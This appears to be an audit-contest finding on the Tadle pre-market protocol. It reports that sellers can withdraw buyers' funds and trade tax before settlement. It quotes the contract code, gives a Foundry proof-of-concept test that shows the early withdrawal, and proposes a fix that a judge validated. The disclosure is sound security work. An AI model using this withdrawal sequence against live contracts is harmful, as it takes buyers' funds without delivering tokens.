Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Fund Withdrawal Flaw in preMarket Allows Users to Avoid Settlement Obligations

Summary

The goal of the protocol is to facilitate pre-market trading by allowing sellers to list points at their desired prices and enabling buyers to purchase these assets before their official launch. After the Token Generation Event (TGE), sellers are required to deliver the corresponding tokens to buyers at the pre-listed prices, ensuring that pre-market agreements are honored and enhancing overall market liquidity.

https://tadle.gitbook.io/tadle/how-tadle-works/features-and-terminologies/settlement-and-collateral-rate

  • Sellers will receive their initial collateral back along with the buyer's funds only after completing the settlement.

  • Buyers will receive the equivalent tokens, and their funds will be transferred to the sellers.

  • If sellers fail to complete the settlement within the allotted time, they will forfeit their collateral.

  • Buyers can claim compensation from the seller’s collateral as stored in the smart contract.

Vulnerabilities details

The protocol currently allows sellers to withdraw buyer’s funds and tax fees before completing the settlement, which can lead to sellers avoiding their settlement obligations without losing their collateral, leaving buyers without compensation.

This issue arises because:

  • When a buyer purchases points, the amount (salesRevenue) and tax fee become immediately available for withdrawal to seller.

The createTaker function processes the deposit and tax fee transfer:

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L164

function createTaker(address _offer, uint256 _points) external payable {
/*
...
*/
ITokenManager tokenManager = tadleFactory.getTokenManager();
_depositTokenWhenCreateTaker(
platformFee,
depositAmount,
tradeTax,
makerInfo,
offerInfo,
tokenManager
);
/*
...
*/
_updateTokenBalanceWhenCreateTaker(
_offer,
tradeTax,
depositAmount,
offerInfo,
makerInfo,
tokenManager
);
/*
...
*/
}
  • The _depositTokenWhenCreateTaker function transfers funds from the buyer to the capital pool.

  • The _updateTokenBalanceWhenCreateTaker function then enables the seller to withdraw the trade tax and deposit amount:

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L906

function _updateTokenBalanceWhenCreateTaker(
address _offer,
uint256 _tradeTax,
uint256 _depositAmount,
OfferInfo storage offerInfo,
MakerInfo storage makerInfo,
ITokenManager tokenManager
) internal {
if (
_offer == makerInfo.originOffer ||
makerInfo.offerSettleType == OfferSettleType.Protected
) {
tokenManager.addTokenBalance(
TokenBalanceType.TaxIncome,
offerInfo.authority,
makerInfo.tokenAddress,
_tradeTax
);
} else {
tokenManager.addTokenBalance(
TokenBalanceType.TaxIncome,
makerInfo.authority,
makerInfo.tokenAddress,
_tradeTax
);
}
/// @dev update sales revenue
if (offerInfo.offerType == OfferType.Ask) {
tokenManager.addTokenBalance(
TokenBalanceType.SalesRevenue,
offerInfo.authority,
makerInfo.tokenAddress,
_depositAmount
);
} else {
tokenManager.addTokenBalance(
TokenBalanceType.SalesRevenue,
_msgSender(),
makerInfo.tokenAddress,
_depositAmount
);
}
}

The ability for sellers to withdraw these funds before settlement means they can evade their obligations without any penalty, while buyers may not receive the tokens they paid for.

Proof of concept

Scenario 1

  1. Alice Creates an Ask Offer in Turbo Mode:

  • Collateral: 10,000 USDC

  • Points Listed: 1,000

  • collateral rate : 10_000 (so alice deposit exactly 10 000 usdc)

  1. Bob Purchases Points:

  • Points Bought: 500

  • Collateral Reserved: 5,000 USDC

  1. Dany Purchases Points:

  • Points Bought: 500

  • Collateral Reserved: 5,000 USDC

  1. Alice Withdraws Funds:

  • Amount Withdrawn: 10,000 USDC + 300 USCD (taxFee)

  1. Post-TGE Obligation :

  • Alice Must Settle: 500 points for Bob and 500 points for Dany.

Issue: If the value of 1,000 points in PointToken increases to 15,000 USDC after the TGE, Alice might choose not to settle her obligations. Having already withdrawn 10,300 USDC, she faces no penalty for failing to deliver the tokens and gains an additional 300 USDC. Meanwhile, Bob and Dany would not receive the tokens they paid for, and they would lose their tax fee and any potential compensation. This undermines the protocol’s integrity and leaves buyers unprotected.

  • working test case

function test_ask_custom() public {
//create the three user and deal then usdc
address alice = vm.addr(10);
address bob = vm.addr(11);
address dany = vm.addr(12);
deal(address(mockUSDCToken), alice, 10000 );
deal(address(mockUSDCToken), bob, 100000 );
deal(address(mockUSDCToken), dany, 100000 );
// alice create an ask offer
vm.startPrank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
10000,
10000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address aliceOffr = GenerateAddress.generateOfferAddress(0);
address aliceStock = GenerateAddress.generateStockAddress(0);
vm.stopPrank();
// bob buy 500 point
vm.startPrank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(aliceOffr, 500);
address bobStock = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
// dany buy 500 point
vm.startPrank(dany);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(aliceOffr, 500);
address danyStock = GenerateAddress.generateStockAddress(2);
vm.stopPrank();
// alice call wthdraw and get salesRevenue an TaxIncome before settlement
vm.startPrank(alice);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
vm.stopPrank();
assertEq(mockUSDCToken.balanceOf(alice),10300);
}

Scenario 2

  1. Alice Creates an Bid Offer in Turbo Mode:

  • Collateral: 10,000 USDC

  • Points Listed: 1,000

  1. Bob Sell Points to alice :

  • Points sold: 1 000

  • Collateral Reserved: 10 000 USDC

  1. Bob Withdraws Funds:

  • Amount Withdrawn: 10,000 USDC

Impact

The ability for sellers to withdraw buyer's funds and tax fees before completing the settlement poses a significant risk to the integrity of the Tadle protocol. This vulnerability allows sellers to evade their settlement obligations, leaving buyers without the tokens they paid for and without any form of compensation. This not only compromises the trustworthiness of the platform but also deters potential participants, reducing market liquidity and participation.

Recommendations

Restrict Withdrawal Before Settlement: Modify the smart contract to prevent sellers from withdrawing any funds, including the sales revenue and collateral, before they have successfully completed their settlement obligations or they aborted or canceled their offer.

example

  • Implement a new mapping and adjust the addTokenBalance function as follows :

function addTokenBalance(
TokenBalanceType _tokenBalanceType,
address _accountAddress,
address _tokenAddress,
uint256 _amount,
bool withdrawAllow
) external onlyRelatedContracts(tadleFactory, _msgSender()) {
userTokenBalanceMap[_accountAddress][_tokenAddress][
_tokenBalanceType
] += _amount;
withdrawAllowMap[_accountAddress][_tokenAddress][
_tokenBalanceType
] = withdrawAllow;
emit AddTokenBalance(
_accountAddress,
_tokenAddress,
_tokenBalanceType,
_amount,
withdrawAllow
);
}
  • In the withdraw function, add a check to enforce this restriction:

bool withdrawAllow = withdrawAllowMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (!withdrawAllow) {
revert Errors.Unauthorized();
}

Update the withdrawAllowMap in the settlement function to allow users to withdraw their funds only after fulfilling their obligations. If a user fails to settle, they should be prevented from withdrawing any funds they are not allow to.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Appeal created

oxelmiguel Submitter
about 1 year ago
0xnevi Lead Judge
about 1 year ago
0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.